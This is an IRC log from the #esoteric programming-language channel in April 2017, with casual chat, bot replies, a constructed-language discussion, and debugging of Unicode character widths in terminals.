agree,http://media.moddb.com/images/groups/1/3/2055/1187025029_Suffer_Not_the_Furry_to_Live_Desu.jpg 23:55:17 -!- hppavilion[1] has joined. 23:57:16 Well, it's abuse of mathematics time. i̊ = (π/180)√-1. 2017-04-05: 00:05:48 -!- Phantom_Hoover has joined. 00:05:48 -!- Phantom_Hoover has quit (Changing host). 00:05:48 -!- Phantom_Hoover has joined. 00:08:27 wisdom 00:08:28 partial order//A partial order is just a small thin skeletal category. 00:08:57 @ping 00:08:58 pong 00:13:08 -!- erkin has joined. 00:15:41 helloily 00:17:56 i get where emma watson was coming from there 00:18:26 adult Nala was pretty hot in that "can you feel the love tonight" scene 00:18:51 quinthellopia! 00:18:57 @ping 00:18:57 pong 00:19:03 what do? 00:19:15 hmm... very laggy tonight. 00:19:24 why 00:20:35 no idea. generic connectivity uncoöperativeness... 00:20:35 @ping 00:20:36 pong 00:20:56 33 seconds. 00:21:16 meanwhile, laundry, eating, random stuff... 00:21:27 how life on your end? 00:27:10 its a writing month 00:27:28 so im eating a sub and reading my novel 00:27:37 still havent done my taxes 00:32:27 * boily is proprocrastinating his taxes >_>'... 00:39:54 Oh, I should do my taxes. 00:44:49 yuuuuup 01:08:56 ybden: http://feelingmyage.co.uk/wp-content/uploads/2011/09/periodictable.gif hth 01:13:22 helloochaf. there is something not quite right with that table... 01:22:10 wisdom 01:22:11 glitch//glitch? ¯\(°​_o)/¯ 01:27:39 forget glitch 01:27:41 Forget what? 01:29:02 thachaf. 01:29:02 wisdom 01:29:04 sparta//WE. DON'T. KNOW. ANYTHING. ABOUT. SPARTA! 01:37:15 -!- boily has quit (Quit: HILLY CHICKEN). 01:37:24 <\oren\> widsom 01:37:25 trantor//Coruscant is a planet covered entirely by a city. It is the capital of the Galactic Empire, and the home for the biggest library in it. 01:37:44 <\oren\> widsom 01:37:46 fourth wisdom//.wisdoms other the all upon builds wisdom fourth The 01:38:03 <\oren\> widsom 01:38:05 ​1//1 is equivalent to  , except that it splits the output into irc-sized pieces. The next pieces can be viewed with spam. See also 2. 01:38:19 <\oren\> widsom 01:38:20 typoglycerine//Typoglycerine is an explosive that scrambles the letters inside a word. 01:38:22 <\oren\> widsom 01:38:24 thanks ants//thants 01:38:42 * Zarutian had not heard of typoglycerine. 01:52:39 ? typescript 01:52:40 typescript? ¯\(°​_o)/¯ 02:06:27 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:27:07 -!- Zarutian has quit (Quit: Zarutian). 05:02:18 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 05:07:06 -!- hppavilion[1] has joined. 05:22:45 [wiki] [[Brainfuck implementations]] M https://esolangs.org/w/index.php?diff=51639&oldid=51568 * Btzy * (+7) /* Optimizing implementations */ 05:30:40 -!- augur has joined. 05:35:26 -!- augur has quit (Ping timeout: 260 seconds). 05:35:50 -!- pikhq has quit (Ping timeout: 240 seconds). 05:37:58 -!- pikhq has joined. 05:55:28 grwp hth 05:55:35 grwp h\(th$$ 05:55:47 ​🐚:(1+sqrt(5))/2 hth \ but:But is an hth derivative. \ chthonic:Chthonic lithping can be vethy dithturbing to lithten to. \ hambiguitous:We're not sure what hambiguitous means, but it's definitely not hth. \ hðh:hðh is how hppavilion[n] decides to sæ 'hth' when e's beiŋ annoyiŋ. At least, in a subset of ðose times. \ helloily:helloily is 05:55:47 ​🐚:(1+sqrt(5))/2 hth \ but:But is an hth derivative. \ chthonic:Chthonic lithping can be vethy dithturbing to lithten to. \ hambiguitous:We're not sure what hambiguitous means, but it's definitely not hth. \ hðh:hðh is how hppavilion[n] decides to sæ 'hth' when e's beiŋ annoyiŋ. At least, in a subset of ðose times. \ helloily:helloily is 05:55:55 grwp h(th) 05:55:57 associativity:Associativity means that h(th) = (ht)h, if you're flexible about it. 05:56:08 Oh, https://en.wikipedia.org/wiki/Flexible_algebra 05:56:15 I'm not sure whether I understood it before? 05:56:17 Maybe I did. 06:09:10 is north korea actually thinking they could win a nuclear war against america? 06:18:09 -!- Jafet has quit (Ping timeout: 268 seconds). 06:45:15 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 06:48:13 it could possibly cripple the US with an EMP pulse 06:48:29 we can't do the same to them because they don't have much technology to lose 06:53:44 -!- Jafet has joined. 06:57:06 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 07:05:58 -!- FreeFull has quit (Ping timeout: 260 seconds). 07:15:51 -!- MoALTz has joined. 07:20:37 -!- MDead has joined. 07:21:22 -!- MDude has quit (Ping timeout: 260 seconds). 07:21:31 -!- hppavilion[1] has joined. 07:21:32 -!- MDead has changed nick to MDude. 07:35:47 Hm, does Solfège cover sharps? 07:35:54 (or accidentals in general) 07:38:22 Yes. 07:39:56 Do di ra re ri me mi fa fi se sol si le la li te ti. There's the sequence of half steps. 07:40:56 > length$ words "Do di ra re ri me mi fa fi se sol si le la li te ti" 07:40:58 17 07:41:32 sol si le la? 07:41:38 that can't be right, can it? 07:41:57 There's redundancy there. 07:42:05 Si and le are the same note. 07:42:14 (for instance) 07:42:30 Note names are such a mess. 07:42:32 in italian the 7 normal notes are do re mi fa sol la si 07:42:42 and you put si between sol and la 07:42:45 And so are piano keyboards. 07:43:01 Diatonic scale? More like diatonic scow. 07:43:12 The English solfege is "do re mi fa sol la ti". 07:43:13 s/D/d/ s/M/m/ s/.$// 07:43:28 i see 07:43:33 Also, the English system is a relative, not fixed, system. 07:43:49 izabera: I once invented a Zeno-y notation for crazy accidentals 07:44:07 i.e. all the names are *in relation* to an arbitrary "do". 07:44:20 The first accidental affects your pitch by 1/2 tone (a semitone) 07:44:30 The second affects it by 1/4, the third by 1/8, and so on 07:44:34 Oh, that's good, at least. 07:44:48 Apparently in the Romance systems, the solfege thing is *actually the note names*. 07:44:50 But there's no da? 07:45:13 i.e. "do" is C, unconditionally, there. 07:45:15 Though in retrospect, maybe trientones would be more interesting 07:45:22 shachaf: da 07:45:28 shachaf: Not generally, no. 07:45:34 07:46:15 metar denver 07:46:16 lambdabot: @metar ? 07:46:19 Hm. 07:46:26 @metar KDEN 07:46:26 KDEN 050553Z 33008KT 10SM BKN060 01/M02 A3017 RMK AO2 SLP222 60004 T00061022 10039 20000 51013$ 07:53:49 -!- AnotherTest has joined. 08:38:14 -!- Herbstkind has joined. 08:44:40 -!- augur has joined. 08:44:47 -!- augur has quit (Read error: Connection reset by peer). 08:45:14 -!- augur has joined. 08:45:22 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 08:46:11 -!- augur has quit (Remote host closed the connection). 08:53:05 -!- dingbat has quit (Quit: Connection closed for inactivity). 09:25:33 -!- augur has joined. 10:13:32 -!- Herbstkind has quit (Quit: Leaving). 10:13:43 -!- aloril_ has quit (Ping timeout: 268 seconds). 10:28:15 -!- aloril_ has joined. 10:43:53 shachaf: shelloachaf 10:43:58 shachaf: I approve of this table. 10:58:25 -!- augur has quit (Remote host closed the connection). 11:25:51 -!- augur has joined. 11:47:59 -!- boily has joined. 11:48:38 test 11:48:41 @ping 11:48:41 pong 11:48:52 aaaah, finally internet! 11:49:00 helloily 11:49:06 b_jellonas! 12:23:56 -!- boily has quit (Quit: MINE CHICKEN). 13:49:50 -!- Zarutian has joined. 13:57:44 -!- S1 has joined. 13:57:44 -!- S1 has changed nick to Herbstkind. 14:09:06 -!- zgrepc has quit (Changing host). 14:09:06 -!- zgrepc has joined. 14:10:40 -!- erkin has joined. 14:11:34 -!- longerstaff13 has joined. 14:12:44 -!- longerstaff13 has quit (Changing host). 14:12:44 -!- longerstaff13 has joined. 14:42:38 -!- ^_^v has joined. 14:44:53 -!- erkin has quit (Quit: Leaving). 15:12:34 random-card valkyrie 15:12:36 Adarkar Valkyrie \ 4WW \ Snow Creature -- Angel \ 4/5 \ Flying, vigilance \ {T}: When target creature other than Adarkar Valkyrie dies this turn, return that card to the battlefield under your control. \ CSP-R, MMA-R, C14-R 15:23:09 -!- Zarutian has quit (Quit: Zarutian). 15:42:10 -!- Lord_of_Life has quit (Excess Flood). 15:44:00 -!- Lord_of_Life has joined. 16:32:35 -!- Lord_of_Life has quit (Excess Flood). 16:35:30 -!- Lord_of_Life has joined. 16:40:47 -!- Lord_of_Life has quit (Excess Flood). 16:42:00 -!- Lord_of_Life has joined. 16:58:16 -!- Phantom_Hoover has joined. 16:58:16 -!- Phantom_Hoover has quit (Changing host). 16:58:16 -!- Phantom_Hoover has joined. 17:02:57 -!- Lord_of_Life has quit (Excess Flood). 17:04:42 [wiki] [[Aceto]] N https://esolangs.org/w/index.php?oldid=51640 * L3viathan * (+1145) Created page with "'''Aceto''' is an [[esoteric programming language]] made by [[User:L3viathan|L3viathan]], designed according to the wishes of [https://twitter.com/sarnthil @sarnthil]. The nam..." 17:12:52 -!- dingbat has joined. 17:16:47 -!- FreeFull has joined. 17:41:47 -!- moony has joined. 18:04:38 -!- pledis has quit (K-Lined). 18:29:42 -!- Herbstkind has quit (Quit: Leaving). 18:37:47 -!- idris-bot has joined. 18:57:04 -!- sftp has joined. 19:10:17 -!- Akaibu has joined. 19:10:51 ... 19:12:07 rdococ: I recommend taking int-e's advice. 19:26:39 -!- zsoc has joined. 19:27:27 relcome zsoc 19:27:31 ​zsoc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 19:27:33 help 19:27:33 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to $PWD are persistent, and$PWD/bin is in $PATH.$PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 19:27:45 :P 19:28:10 relcome? 19:28:15 s/relcome/welcome/ 19:28:16 :p 19:28:18 Just a rainbow welcome command :P 19:28:33 I was just testing if a bot would pick up my sed, i'm sad now 19:28:38 lol 19:28:42 sed 19:28:42 Usage: /bin/sed [OPTION]... {script-only-if-no-other-script} [input-file]... \ \ -n, --quiet, --silent \ suppress automatic printing of pattern space \ -e script, --expression=script \ add the script to the commands to be executed \ -f script-file, --file=script-file \ add the contents of sc 19:28:44 it has it installed 19:29:53 -!- hppavilion[1] has joined. 19:29:56 hipav 19:29:59 so much bot spam 19:30:02 hellopvilion 19:30:13 shachaf, Sorry. Was just showing him what hackego does 19:36:04 -!- Herbstkind has joined. 19:38:45 Wylkum, Herbstkind. 19:39:02 Thx, rdococ 19:40:07 Pronounce it /wylkum/. 19:40:19 It's a word in my new language, it means "Welcome". 19:41:32 lol 19:41:33 so so 19:41:35 * Herbstkind nods 19:41:51 And what is that language called? 19:44:23 Haven't come up with a name yet. 19:44:35 It will have /c/, /y/ and /ɥ/. 19:45:32 is this worldbuilding? :3 19:45:54 uhuh 19:45:55 nah, just the language 19:46:05 I need a name for it. 19:46:07 Any specialization for the language? ^^ 19:46:17 whadya mean? 19:46:31 Are you constructing it with a special purpose in mind? 19:46:36 not really 19:47:19 so just for the heck of it 19:47:43 ye 19:49:26 zsoc, Welcome to #esoteric, where you never know what the next topic will be unless you are the one starting it 19:49:33 Sometimes not even then 19:51:48 lol 19:53:21 <\oren\> https://www.youtube.com/watch?v=wlp58qAOjRU 19:56:56 , or are sufficient to say "I welcomed Herbstkind" 19:57:24 The -em means that the noun is the object of the sentence. 19:58:23 * Herbstkind nods veeery slowly 19:58:25 I seeeeeee 19:58:47 So what would "rdococ welcomes Herbstkind." mean? 19:59:22 ? 19:59:28 oh, tense? 19:59:31 no 19:59:52 As if when someone states that you're welcoming me. They would say "rdococ welcomes Herbstkind". 19:59:59 yes 20:00:09 20:00:15 pff okay ^^ 20:00:28 Also who or what do you intend to program with that language :P 20:00:46 ha ha 20:01:24 *whom (?) :I 20:02:13 for past, or for the future (atm) 20:02:30 that's lame xD 20:02:57 Many other languages had some variation of and in their language, so it's not that lame 20:03:10 What does "I will have welcome Herbstkind" mean? 20:03:13 , 20:03:23 idk for sure yet 20:03:23 gtg 20:04:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:06:01 -!- hppavilion[1] has joined. 20:11:21 The music-geek equivalent of the Sad Trombone is the Sad Brass Section 20:11:55 Well, except when you're specifically a Rock Music Geek, in which case it's the Sad Seven-Nation Orchestra 20:35:10 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:38:41 [wiki] [[Special:Log/newusers]] create * Fourthdwarf * New user account 20:50:58 -!- MoALTz has quit (Quit: Leaving). 20:54:11 -!- DHeadshot has joined. 21:03:02 [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=51641&oldid=51357 * Happa * (+131) Added link to NemFunge93 interpreter 21:03:33 [wiki] [[Befunge]] M https://esolangs.org/w/index.php?diff=51642&oldid=51641 * Happa * (+11) Fixed link 21:11:34 -!- hppavilion[1] has joined. 21:16:05 -!- hppavilion[1] has quit (Remote host closed the connection). 21:16:33 -!- hppavilion[1] has joined. 21:17:22 Hm. Nonprinciple of communication: If t is a subtopic of T and t is an inappropriate topic in a given circumstance, T is an inappropriate topic in the same circumstance. 21:34:50 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:36:47 -!- ^_^v has quit (Quit: This computer has gone to sleep). 21:40:41 -!- hppavilion[1] has joined. 21:46:11 hppavilion[1], if that is valid in the other direction too ( inap(T) => inap(t) ) then everything is an inappropriate topic, I presume 21:46:42 Since anything is connected somehow ^^ (That's my Axiom) 21:47:29 Herbstkind: Yeah, that's why it's a nonprinciple 21:47:46 as in e. g. bestiality is a subtopic of animals which is a supertopic of plushies or something *shrug* 21:47:49 I seeeeeeeeeee 21:48:15 (okay, really bad example) 21:56:55 -!- ^_^v has joined. 22:10:50 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:12:05 There's this artwork near King's Cross, https://www.kingscross.co.uk/ifo 22:12:08 This evening on my commute there was a guy next to it with a megaphone, reading some sort of pseudo-poetry about a bird that's too scared of freedom. 22:12:52 What's the difference between poetry and pseudo-poetry? 22:13:45 I just mean I'm not sure if it counted as poetry (what's the definition?), but it was at least some sort of a spoken word thing. 22:13:57 @wn poetry 22:13:58 *** "poetry" wn "WordNet (r) 3.0 (2006)" 22:13:58 poetry 22:13:58 n 1: literature in metrical form [syn: {poetry}, {poesy}, 22:13:58 {verse}] 22:13:58 2: any communication resembling poetry in beauty or the 22:14:00 evocation of feeling 22:14:20 Well, it wasn't sense 1, might've been sense 2. 22:14:29 2 is a recursive definition. 22:14:32 Or if it was metrical, it was too subtle for me. 22:14:33 Presumably 1 is the base case. 22:15:16 Here's the part that I heard. Approximately, at least. 22:15:18 "Someone left the cage open, but it doesn't matter. The bird won't fly out of the cage. It's too scared... of freedom." 22:15:54 any communication resembling (any communication resembling (literature in metrical form) in beauty or the evocation of feeling) in beauty or the evocation of feeling 22:18:20 fizzie: The bird represents commuters. 22:18:32 Maybe you should fly out of the cage? 22:19:33 -!- hppavilion[1] has joined. 22:24:07 ... 22:24:20 I just evaluated a function and got what appears to be ∞̃ 22:25:24 (For those for whom combining diacritics or Unicode characters don't render, that's the infinity symbol (∞) with a tilde (~), as in the Spanish bonus letter ‹ñ›) 22:25:48 Apparently it means complex infinity?? 22:45:15 -!- Herbstkind has quit (Quit: Leaving). 22:50:13 Is that INFi or INF+i? 22:53:20 -!- boily has joined. 22:56:12 wisdom 22:56:15 action//An action should always have an equal and opposite reaction, whenever thausible. 22:56:47 cwlprits action 22:56:57 oerjän 22:57:13 oerjan: I thought "thausible" meant "thanks, plausible"? 22:57:22 no one tells me anything 22:57:24 4 w 22:57:29 1/2:welcome.is//Halló og verið velkomin á hinn alþjóðlegann miðpunkt fyrir esoteríska forritunarmálshönnun og dreifingu. Meiri upplýsingar er hægt að nálgast á wikinu . (Fyrir annarskonar esoterík prufið #esoteric á EFnet eða DALnet.) \ myndzi//myndzi used to keep us all on our feet. \ persistence/ 22:57:32 n 22:57:32 2/2:/Taneb invented persistence long ago, and it's been around ever since. \ northumberland//Northumberland may be today a sparsely populated country... but SOON! THE NORTHUMBRAINS SHALL RISE! 22:58:19 helloochaf! 22:58:24 ? thausible 22:58:25 A thausible action is one committed toward a thausiblee. 22:58:30 ? thausiblee 22:58:31 A thausiblee is the recipient of a thausible action. 22:58:43 cqfd. 23:00:11 wzbw 23:00:26 int-ello. German version? 23:00:29 yes. 23:00:34 מש"ל 23:01:01 HHIG 23:01:27 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:01:30 Higgins Hemb Insurance Group 23:01:34 His Hero Is Gone was an influential American crust punk band from Memphis, Tennessee?! 23:01:58 Heute Habe Ich Gelernt 23:02:11 oh damn 23:02:28 shachaf: " is for abbreviations, right? 23:02:36 I had a theoretical chance of getting this, I suppose. 23:02:46 boily: For acronyms. 23:02:46 In practice, not really. 23:02:55 And some other things. 23:02:58 https://en.wikipedia.org/wiki/Gershayim 23:03:23 If you want to be pedantic it's ״ rather than ". 23:03:26 boily: w.z.b.w., like cqfd, is in actual use. 23:03:59 heute die welt, morgen das sonnensystem 23:04:02 (interestingly I have not seen it without the dots) 23:04:29 shachaf: that's a lot to eat. 23:05:07 ewige blumenkraft und ewige schlangenkraft 23:05:07 grwp pointless 23:05:43 hist... hackego is slow today 23:05:47 No output. 23:05:48 -!- augur has quit (Remote host closed the connection). 23:05:54 hist? 23:05:56 grwp pointless 23:06:03 grwp pointless 23:06:12 boily: look again 23:06:15 pointfree:Pointfree programming sounds better than pointless programming. 23:06:15 pointfree:Pointfree programming sounds better than pointless programming. 23:07:10 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:17:39 helloily 23:19:03 quinthellopia 23:28:11 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:33:04 -!- oerjan has joined. 23:37:23 thausiblellørjan. 23:39:08 -!- augur has joined. 23:40:15 explox plox 23:40:18 ewige ørjankraft 23:41:51 shallochaf 23:42:29 evenily. thoily. 23:42:49 -!- augur has quit (Remote host closed the connection). 23:48:29 -!- DHeadshot has quit (Ping timeout: 240 seconds). 23:49:13 -!- augur has joined. 23:57:36 -!- hppavilion[1] has joined. 23:59:04 *facepalm* Well, no wonder I get a few random Unicode bugs in my terminal. 23:59:18 screen doesn't use wcwidth, but rather its own function for character widths. 23:59:25 It disagrees with libc wcwidth. 23:59:58 http://sprunge.us/MQeB Nice little hack to tell if libc and your terminal agree on character widths. 2017-04-06: 00:00:27 pikhq: Yes, it's a mess. 00:00:56 mosh *seems* to just defer to libc on that subject. 00:01:25 I'm using tmux and mosh and in the end things never work right. 00:01:35 I don't know if tmux does its own mess. 00:01:49 The above should help debug things. 00:02:04 I'm already pretty sure wcwidth is broken. 00:02:10 boily: do you have any fertility rites planned for the worship of the green goddess Eostre? 00:02:19 OK, I'll try it. 00:02:42 Problem is, wcwidth is what some popular programs and libraries like "curses" use for their notion of how many columns a given character takes. 00:03:01 Are you supposed to run thins 2>file? 00:03:03 Yes. 00:03:36 I did mention it was a tiny little hack. I was frankly just tinkering a tiny bit and wanted to talk about what I saw from it. 00:03:56 I'd also recommend against Ctrl-C'ing it, cause I've not made it robust enough to reset the terminal afterwards. 00:04:36 Would you looj at that, 171 broken code points. 00:05:12 tmux here appears to agree with glibc. 00:05:32 It's a good thing Hitler wasn't a mathematician. 00:05:36 Two are libc 1 tty 0, the rest are libc 0 tty 1 00:05:46 hppavilion[1]: Can you quit it with those jokes? 00:05:54 Just put them on a Twitter account and I won't follow it. 00:05:54 shachaf: I try ;-; 00:06:20 -!- FreeFull has quit. 00:06:31 So there's a few libc thinks are combining characters, and some the tty thinks are combining characters. 00:06:34 Huh. 00:06:56 As I understand it, Unicode *defines* this, too. 00:07:11 gtk has a is_valid_utf8 function, which forbids U+0000 00:08:28 because “all strings are nul-terminated” 00:08:48 Might be worth investigating to see which codepoints terminals even agree on. 00:15:13 Perhaps write something-or-other whereby programs would be able to test those codepoints in particular, and if they don't work, output U+FFFD instead. 00:15:20 (maybe as a patch to ncurses?) 00:16:55 terminal rendering is already unportable anyway, because of fullwidth characters 00:17:34 ? 00:17:48 -!- Akaibu has quit (Quit: Connection closed for inactivity). 00:20:14 pikhq: I'm running this program in ssh instead of mosh-tmux, and it's very slow. 00:20:39 I started it 10 minutes ago and it's only 10% done. 00:21:01 It will be limited by the speed of the connection with its terminal. 00:21:10 actually it's even worse, there are “ambiguous-width” characters 00:21:23 Yes, I know. 00:21:31 But actually it'll be limited by my patience. 00:21:32 Note that it's sending escapes to the terminal requesting the cursor position and waiting for a response... On each and every codepoint. 00:22:01 and gnome-terminal, for instance, lets the user decide how wide they should be 00:22:07 Jafet: :( 00:22:08 There are many more "not okay" this way, even when I ^Ced it. 00:22:33 I might bother doing some research to figure out which codepoints are actually likely to vary and get it to test only those. 00:22:36 but I'm sure there are also fullwidth characters that are displayed as narrow in some terminals 00:23:15 That sorta bullcrap is *kinda* a problem given that most terminal programs have specific ideas about the terminal state... 00:23:23 And if they disagree, you have a freaking problem. 00:23:50 possibly the only good solution is to wmove() frequently 00:24:06 or to use gtk, if your strings don't contain U+0000 00:27:05 quintopia: if by fertility rite you mean consuming liberal amounts of eggs, yes ^^ 00:30:57 -!- augur has quit (Remote host closed the connection). 00:32:28 Eggs Blackstone are the bee's knees, the spider's shoulders, and the butterfly's thighs. 00:36:03 ...this is a thing i'm unaware of 00:36:31 i know more about the political structure of ancient egypt than i do about eggs blackstone 00:36:54 http://howtofeedaloon.com/wp-content/uploads/2015/03/eggs-blackstone-1050x700.jpg 00:36:54 (i know the names of like three pharaohs and the science of mummification) 00:37:00 nice! 00:37:10 fungot: mummy? 00:37:11 boily: something fun ( in fact, scheme48 init files bundled in slib. this would compromise my other criteria. 00:37:28 Eggs Blackstone are just like Benedict, but with bacon and grilled tomatoes. 00:43:16 oh 00:43:23 way to ruin a great dish 00:43:49 i'm not sure what you mean by "but with bacon" though 00:44:14 eggs benedict has bacon (that which we refer to as Canadian) by default... 00:49:30 it's more like ham, eh? 00:51:17 are you saying you substitute belly bacon? 00:53:14 yup ^^ 00:57:29 well that doesnt sound terrible 00:57:38 as long as the hollandaise is dialed in 00:57:45 but tomato sounds horrible 00:58:36 hollandaise is an incontournable. 00:58:42 tomato is wonderful! 01:01:28 let's ask our resident vegexpert about tomatoes... 01:01:38 fungot: are tomatoes good? 01:01:38 boily: why would you want to call 01:01:54 fungot: because it has to be known. 01:01:54 boily: so you can show that automatically in the message 01:07:55 fungot: automatically message me your opinion on tomatoes 01:07:56 quintopia: manipulating xml as sexps is easier and mroe powerful than php 01:08:06 that didnt help 01:08:12 ^style 01:08:12 Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube 01:08:25 ^style speeches 01:08:25 Selected style: speeches (misc. speeches from Project Gutenberg) 01:08:41 fungot: do you have anything to say about tomatoes now? 01:08:42 quintopia: " not this way, and really it trimmed him as it would a tree. he had been some time a member who enters that service has to pursue the general happiness. if, therefore, with him, rather a weak constitution, and, adopting very nearly the sentiments of his people. he is writing four fnord volumes about me, i was going to be on the ground of a public direction by the power of trampling on their subjects, though history 01:09:11 exactly fungot. i agree. tomatoes are the worst. 01:09:11 quintopia: but, as soon as he had observed with respect to nobility. why? because a representative system, which varied only in local and circumstantial fnord much less, that they may earn, their own bread. now it is dismal enough to be fnord 01:09:47 true, bread is much more representative 01:09:56 -!- moonythedwarf has joined. 01:10:09 helloony 01:10:11 IT finally happened. someone made a brainfuck interpreter in The Powder Toy (see save 2122891 ) 01:10:25 huh? 01:10:42 -!- Zarutian has joined. 01:11:06 http://powdertoy.co.uk/Browse/View.html?ID=2122891 01:11:18 its another computer in The Powder Toy, but this time brainfuck 01:11:27 -!- Zarutian has quit (Read error: Connection reset by peer). 01:11:49 mhelloonythellodwarf. 01:11:56 helloily 01:12:05 tomatoes are the best. bell peppers are also good. 01:12:10 -!- Zarutian has joined. 01:12:19 Why has noone made a hello command for hackego yet? so i can automate my helloilys 01:13:58 there is no agreed-upon porthello for every situation 01:14:32 like, what's the best porthello for zarutian, for instance? 01:14:52 ask boily 01:15:35 i just asked everyone 01:15:49 boily surely is allowed to make a suggestion :D 01:15:59 zaruthian 01:16:10 There is a command, it's just very rudimentary. 01:16:12 hi Zarutian 01:16:12 Hi Zarutian. Harutian. 01:16:18 lol 01:16:32 That may have been derived from thanks. 01:16:35 probs 01:16:37 I usuall Zarutellon Zarutian. 01:16:58 hmm 01:17:22 hmm? 01:17:26 boily: i trust. write down a set of trustworthy substitution rules to produce optimal porthellos please 01:19:39 I latch upon the first available h, e, l, o. I check if it sounds right, along with morphological features. if it doesn't, I follow with the next available anchor. 01:19:58 and if none exist? 01:20:00 if it still doesn't work, I may try “hi” instead of “hello”. 01:20:28 if nothing works, chop off the first letter and “hi”. so far, only kmc reached this fallback. 01:20:36 "morphological features" is so nebulous. can you explain that in EBNF? 01:20:42 eeeeeh... 01:20:59 for example, \oren\ has he\\oren\ because backslashes. 01:21:32 b_jonas has b_jellonas and wob_jellonas, because jell-o. 01:22:06 and rdococ has rdochelloc because it sounds better. 01:22:40 (could've been rdellococ, but it isn't as good IMPO) 01:24:12 okay it's clear now 01:24:13 there may also be customary decorations and declensions, re hellørjan, helloochaf and Tanelle. 01:24:26 and you're QUINTHELLOPIAAAAAAAAAAA. 01:24:31 this is a task only manageable by high quality AI 01:24:39 machine learning stuff 01:24:40 or a sane person! 01:24:44 something that knows english 01:25:15 boily: i don't know where we'd find a sane person. but we might be able to write one from not-scratch 01:26:36 * boily fell into the trap headfirst 01:26:52 fungot: tell me I'm sane. 01:26:52 boily: but i will struggle with my bursting heart, to portray that heroic spirit, which has sometimes seemed to foreign states to invite and provoke their aggressions, peace has been unbroken, their work has been excellent, and honourable man, with a single solitary exception, every one of which has much to fear from his loss than now they have, in certain indian transactions, fnord the worst of the caesars, gradually effacing 01:28:31 hoily! 01:30:32 himc! 01:31:49 -!- boily has quit (Quit: WATCHING CHICKEN). 01:37:14 -!- Phantom_Hoover has quit (Remote host closed the connection). 01:45:49 -!- moony has quit (Remote host closed the connection). 01:47:29 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 02:08:58 -!- erkin has joined. 02:20:40 -!- moonythedwarf has quit (Ping timeout: 268 seconds). 02:28:46 -!- hppavilion[1] has joined. 02:46:33 -!- furozo has joined. 02:48:29 -!- tsw_ett has joined. 02:48:37 I've been playing Thumper! 02:48:47 My left hand is pretty sore from all that thumping. 02:49:06 I've probably been thumping too hard, is all. I need to thump more gently. 02:49:22 I decided to try thumping with my other hand, and it went surprisingly well. 02:49:38 Maybe I'm actually a right-handed thumper and I've been thumping with the wrong hand this whole time. 03:10:11 -!- furozo has left. 03:18:06 -!- Mayoi has joined. 03:18:27 -!- erkin has quit (Ping timeout: 260 seconds). 03:18:35 -!- Mayoi has changed nick to erkin. 03:25:58 Is there a programming language that uses something like a call queue instead of a call stack? 03:28:25 . o O ( Fueue? ) 03:33:31 I was thinking about depth-first and breadth-first search. Depth-first search is more natural to implement, but can you make an environment where breadth-first search is more natural? 04:03:29 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:15:32 -!- Zarutian has quit (Quit: Zarutian). 04:51:33 -!- oerjan has quit (Quit: Nite). 07:20:59 -!- hppavilion[1] has joined. 07:44:22 -!- MoALTz has joined. 08:09:59 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 08:48:03 -!- augur has joined. 08:48:34 -!- AnotherTest has joined. 08:52:52 -!- augur has quit (Ping timeout: 268 seconds). 09:59:08 shachaf: There's a language literally called "Call Queue". 09:59:12 https://esolangs.org/wiki/Call_Queue 10:00:00 "Call Queue was inspired by the similarities between a queue-based algorithm implementing breadth-first search in a tree, and a stack-based algorithm emulating recursion." 10:01:48 fizzie: sgtm 10:02:03 Doesn't look very fleshed out. 10:02:34 Yes, it's a little unfinished. 10:03:25 I'm not sure whether the traditional function call syntax it uses is misleading or what it should be like. 10:04:04 Maybe you can make something with coroutines. 10:26:09 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 10:37:51 -!- augur has joined. 10:42:30 -!- augur has quit (Ping timeout: 240 seconds). 10:59:13 -!- augur has joined. 10:59:25 -!- augur has quit (Remote host closed the connection). 11:00:46 -!- augur has joined. 11:28:31 you should generalise this to best-first search, then 11:34:36 -!- boily has joined. 11:36:27 how about a message-passing computational model based on restaurants? 11:36:52 everyone sends messages at different volumes; if the total volume is too loud, the messages become garbled 11:57:22 hello fungot 11:57:23 b_jonas: the china trade. no voice, i guess, then, as it has been in literature. compare the members for the great remains of classical antiquity, which will be applied as long as the moral constitution of men's minds shall continue to infest the platform on these conditions--that there is nobody in the world that put its whole trust in god. 12:20:29 fungot: infesting platforms is generally frowned upon. 12:20:29 boily: on monday, the twenty-seventh of february, 1832.) for my pillow, and a re-charter was granted by congress. that re-charter was laid before general jackson. it was inevitable that you would be an exception to it, but i remember one detail. all my life. 12:20:57 fungot: at least you got your dates right. 12:20:57 boily: paraphrase of a passage in the review of jenyn's inquiry into the causes of wealthy zemindars, after residing at the courts of europe, and in great manufacturing towns, marriages are less prolific than in the substance, but regulating the mode and the principles on which they pronounce with so much profusion and so little discrimination, that they may be assured, that by keeping a vigilant eye on the fnord gentleman for 12:23:41 -!- augur has quit (Remote host closed the connection). 12:29:10 -!- boily has quit (Quit: FORETOLD CHICKEN). 13:57:39 -!- nitrix has joined. 14:10:12 -!- nitrix has quit (Ping timeout: 256 seconds). 14:34:05 -!- ^_^v has joined. 15:10:11 -!- izabera1 has joined. 15:11:27 -!- izabera has quit (Ping timeout: 255 seconds). 15:12:34 -!- lynn has quit (Ping timeout: 255 seconds). 15:13:01 -!- lynn_ has joined. 15:14:43 -!- izabera1 has changed nick to izabera. 16:06:02 -!- Zarutian has joined. 16:06:45 -!- Zarutian has quit (Read error: 